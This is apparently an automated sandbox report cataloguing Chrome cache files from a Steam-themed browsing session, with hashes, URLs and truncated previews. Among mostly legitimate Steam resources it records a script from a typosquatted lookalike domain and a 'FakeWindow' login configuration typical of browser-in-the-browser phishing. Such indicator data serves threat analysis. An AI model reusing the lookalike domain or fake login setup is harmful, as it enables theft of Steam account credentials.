
Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d37e8661a410075.jpg
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	downloaded
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e08005d5856534b4b5d61510c2f242f77.js
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	4.770290086344301
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXAv6v16CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXqGDgovXSLDiVLoBT
MD5:	0AC49456F647D9AC07F8B414CF6F731A
SHA1:	1AECD4CA87D29D7802F9F3CD5BFFEEE4AA9C5A2F
SHA-256:	CEA253E6EFC51CB317AEE72F5C33B5A8B0CDF0EA236B3AB55B3987B7754F3B29
SHA-512:	70CF3581D06947BC607834C10C8AC0239C3BBFEB2BF8300DAF92638AE004989FB24FC4092387325F6A85D397DB62F9F6A57631F00901EA77D4C82994319E6130
Malicious:	false
Reputation:	low
Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728216503868.249,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	downloaded
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	downloaded
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
URL:	https://recaptcha.net/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.538909765557392
Encrypted:	false
SSDEEP:	3:H25BBthpd5:W5hP
MD5:	206BE186BE1919916CA8556F077B6AF7
SHA1:	3B22F0C3A78AB849EBD6E09A0205E802A9D6ACA2
SHA-256:	51B272191B3BB04B6843ACFCEA05A1C7BCC4CB4D43E5CBA1282F0702531EB523
SHA-512:	C88B2FB5B698C41EA15E5472C6403F2490B0758B8A34A6CBBE11EA1DC54F281B304365F22653B8355251DC14C43DE3A9F23FAEE1741AC46DA22558737298D82F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAn8aZfoFCRUsxIFDchGVTYSEAkKrp2xjgKqNBIFDchGVTY=?alt=proto
Preview:	CgkKBw3IRlU2GgAKCQoHDchGVTYaAA==

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=english
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hwn:Qn
MD5:	245CFEBC82AAD67B56091706B257B8F2
SHA1:	3CCCF473C35B4BFB315DBDFCE178C8DEA221CA48
SHA-256:	F3AE194F6688889C81498563E2370B777721564EF13448F50206263370FB62B2
SHA-512:	B090014E41E1239A2C0E9F08F4BD3C36C6BCF86A61F30D9CF008B97D23892324F749B0E139E224F41BA7AC4D2A4E85939F486E2B4CF6B05B681F9D8BE5E9E5CB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlqpYuj_oK8HRIFDXzRwV0=?alt=proto
Preview:	CgkKBw180cFdGgA=

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41424, version 0.0
Category:	downloaded
Size (bytes):	41424
Entropy (8bit):	7.98899836549604
Encrypted:	false
SSDEEP:	768:K+F7LEi09DTJ0yWQeu29lsoKyaYopWadPez4bw7VQbywb4AIb3+wEL5i+:ZF6RGVQn2PKboadPU42Qb4AIb9Etj
MD5:	57BD6F5C2A7C3C90763FBF2744699879
SHA1:	27A5CAFFFEBD1D150C6A6B3F7987045482C507C9
SHA-256:	A472DF8BF74A611C4136F892221D4832010988461B4CD9D68058896F1F25A512
SHA-512:	A7647198A5902E16EA4272B4D7F435B4C7A7E2D9A3CE86D9FCE8BE790627A738EAA87011864637E8248A2EEDC809A7FD73AB250B21A35C0EF6060525611C81FD
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff
